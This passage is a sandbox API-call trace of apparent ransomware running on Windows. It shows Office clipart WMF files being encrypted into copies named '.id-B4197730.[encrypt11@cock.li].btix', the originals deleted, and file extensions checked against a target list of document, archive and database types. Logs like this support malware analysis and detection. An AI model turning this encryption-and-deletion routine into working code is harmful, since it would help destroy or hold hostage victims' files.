lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.245] SetEndOfFile (hFile=0x378) returned 1 [0159.245] CloseHandle (hObject=0x378) returned 1 [0159.245] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.245] SetEndOfFile (hFile=0x39c) returned 1 [0159.246] CloseHandle (hObject=0x39c) returned 1 [0159.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf")) returned 1 [0159.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0159.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0159.247] lstrlenW (lpString=".doc") returned 4 [0159.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.247] lstrlenW (lpString=".docx") returned 5 [0159.247] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.247] lstrlenW (lpString=".pdf") returned 4 [0159.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.247] lstrlenW (lpString=".xls") returned 4 [0159.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.247] lstrlenW (lpString=".xlsx") returned 5 [0159.247] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.247] lstrlenW (lpString=".ppt") returned 4 [0159.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0159.247] lstrlenW (lpString=".zip") returned 4 [0159.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.247] lstrlenW (lpString=".rar") returned 4 [0159.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.247] lstrlenW (lpString=".bz2") returned 4 [0159.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.247] lstrlenW (lpString=".7z") returned 3 [0159.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0159.247] lstrlenW (lpString=".dbf") returned 4 [0159.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0159.247] lstrlenW (lpString=".1cd") returned 4 [0159.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0159.248] lstrlenW (lpString=".jpg") returned 4 [0159.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.248] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.248] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.248] GetLastError () returned 0x0 [0159.248] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x80d4, lpOverlapped=0x0) returned 1 [0159.251] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x80e0, lpOverlapped=0x0) returned 1 [0159.252] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.252] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.252] SetEndOfFile (hFile=0x378) returned 1 [0159.252] CloseHandle (hObject=0x378) returned 1 [0159.252] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.252] SetEndOfFile (hFile=0x39c) returned 1 [0159.253] CloseHandle (hObject=0x39c) returned 1 [0159.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf")) returned 1 [0159.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0159.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0159.254] lstrlenW (lpString=".doc") returned 4 [0159.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.254] lstrlenW (lpString=".docx") returned 5 [0159.254] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.254] lstrlenW (lpString=".pdf") returned 4 [0159.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.254] lstrlenW (lpString=".xls") returned 4 [0159.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.254] lstrlenW (lpString=".xlsx") returned 5 [0159.254] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.254] lstrlenW (lpString=".ppt") returned 4 [0159.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0159.254] lstrlenW (lpString=".zip") returned 4 [0159.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.254] lstrlenW (lpString=".rar") returned 4 [0159.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.254] lstrlenW (lpString=".bz2") returned 4 [0159.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.254] lstrlenW (lpString=".7z") returned 3 [0159.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0159.254] lstrlenW (lpString=".dbf") returned 4 [0159.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0159.254] lstrlenW (lpString=".1cd") returned 4 [0159.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0159.255] lstrlenW (lpString=".jpg") returned 4 [0159.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.255] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.255] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237225.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.255] GetLastError () returned 0x0 [0159.255] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xcba0, lpOverlapped=0x0) returned 1 [0159.258] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xcbb0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xcbb0, lpOverlapped=0x0) returned 1 [0159.259] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.259] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.260] SetEndOfFile (hFile=0x378) returned 1 [0159.260] CloseHandle (hObject=0x378) returned 1 [0159.260] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.260] SetEndOfFile (hFile=0x39c) returned 1 [0159.261] CloseHandle (hObject=0x39c) returned 1 [0159.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237225.wmf")) returned 1 [0159.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF") returned 68 [0159.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF") returned 68 [0159.262] lstrlenW (lpString=".doc") returned 4 [0159.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.262] lstrlenW (lpString=".docx") returned 5 [0159.262] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.262] lstrlenW (lpString=".pdf") returned 4 [0159.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.262] lstrlenW (lpString=".xls") returned 4 [0159.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.262] lstrlenW (lpString=".xlsx") returned 5 [0159.262] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.262] lstrlenW (lpString=".ppt") returned 4 [0159.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF") returned 68 [0159.262] lstrlenW (lpString=".zip") returned 4 [0159.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.262] lstrlenW (lpString=".rar") returned 4 [0159.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.262] lstrlenW (lpString=".bz2") returned 4 [0159.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.262] lstrlenW (lpString=".7z") returned 3 [0159.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF") returned 68 [0159.262] lstrlenW (lpString=".dbf") returned 4 [0159.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF") returned 68 [0159.262] lstrlenW (lpString=".1cd") returned 4 [0159.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF") returned 68 [0159.262] lstrlenW (lpString=".jpg") returned 4 [0159.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.263] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.263] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.263] GetLastError () returned 0x0 [0159.263] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x5700, lpOverlapped=0x0) returned 1 [0159.265] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5710, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x5710, lpOverlapped=0x0) returned 1 [0159.266] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.266] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.267] SetEndOfFile (hFile=0x378) returned 1 [0159.267] CloseHandle (hObject=0x378) returned 1 [0159.267] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.267] SetEndOfFile (hFile=0x39c) returned 1 [0159.268] CloseHandle (hObject=0x39c) returned 1 [0159.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf")) returned 1 [0159.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0159.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0159.268] lstrlenW (lpString=".doc") returned 4 [0159.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.268] lstrlenW (lpString=".docx") returned 5 [0159.268] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.269] lstrlenW (lpString=".pdf") returned 4 [0159.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.269] lstrlenW (lpString=".xls") returned 4 [0159.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.269] lstrlenW (lpString=".xlsx") returned 5 [0159.269] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.269] lstrlenW (lpString=".ppt") returned 4 [0159.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0159.269] lstrlenW (lpString=".zip") returned 4 [0159.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.269] lstrlenW (lpString=".rar") returned 4 [0159.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.269] lstrlenW (lpString=".bz2") returned 4 [0159.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.269] lstrlenW (lpString=".7z") returned 3 [0159.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0159.269] lstrlenW (lpString=".dbf") returned 4 [0159.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0159.269] lstrlenW (lpString=".1cd") returned 4 [0159.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0159.269] lstrlenW (lpString=".jpg") returned 4 [0159.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.270] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.270] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.271] GetLastError () returned 0x0 [0159.271] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x60c2, lpOverlapped=0x0) returned 1 [0159.529] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0159.530] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.531] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.531] SetEndOfFile (hFile=0x378) returned 1 [0159.531] CloseHandle (hObject=0x378) returned 1 [0159.531] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.531] SetEndOfFile (hFile=0x39c) returned 1 [0159.532] CloseHandle (hObject=0x39c) returned 1 [0159.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237336.wmf")) returned 1 [0159.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0159.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0159.533] lstrlenW (lpString=".doc") returned 4 [0159.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.533] lstrlenW (lpString=".docx") returned 5 [0159.533] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.533] lstrlenW (lpString=".pdf") returned 4 [0159.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.533] lstrlenW (lpString=".xls") returned 4 [0159.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.533] lstrlenW (lpString=".xlsx") returned 5 [0159.533] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.533] lstrlenW (lpString=".ppt") returned 4 [0159.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0159.533] lstrlenW (lpString=".zip") returned 4 [0159.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.533] lstrlenW (lpString=".rar") returned 4 [0159.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.533] lstrlenW (lpString=".bz2") returned 4 [0159.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.534] lstrlenW (lpString=".7z") returned 3 [0159.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0159.534] lstrlenW (lpString=".dbf") returned 4 [0159.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0159.534] lstrlenW (lpString=".1cd") returned 4 [0159.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237336.WMF") returned 68 [0159.534] lstrlenW (lpString=".jpg") returned 4 [0159.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.535] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.535] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.536] GetLastError () returned 0x0 [0159.536] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1998, lpOverlapped=0x0) returned 1 [0159.558] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x19a0, lpOverlapped=0x0) returned 1 [0159.559] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.559] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.559] SetEndOfFile (hFile=0x378) returned 1 [0159.559] CloseHandle (hObject=0x378) returned 1 [0159.559] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.559] SetEndOfFile (hFile=0x39c) returned 1 [0159.560] CloseHandle (hObject=0x39c) returned 1 [0159.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf")) returned 1 [0159.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0159.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0159.561] lstrlenW (lpString=".doc") returned 4 [0159.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.561] lstrlenW (lpString=".docx") returned 5 [0159.561] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.561] lstrlenW (lpString=".pdf") returned 4 [0159.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.561] lstrlenW (lpString=".xls") returned 4 [0159.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.561] lstrlenW (lpString=".xlsx") returned 5 [0159.561] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.561] lstrlenW (lpString=".ppt") returned 4 [0159.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0159.561] lstrlenW (lpString=".zip") returned 4 [0159.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.561] lstrlenW (lpString=".rar") returned 4 [0159.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.562] lstrlenW (lpString=".bz2") returned 4 [0159.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") 